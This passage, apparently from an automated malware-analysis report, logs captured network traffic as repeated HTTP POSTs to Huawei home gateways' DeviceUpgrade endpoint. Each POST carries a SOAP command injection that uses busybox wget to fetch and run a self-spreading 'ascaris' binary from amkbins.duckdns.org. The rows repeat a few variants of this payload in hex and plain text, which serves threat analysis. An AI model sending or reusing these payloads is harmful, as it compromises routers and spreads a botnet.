xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 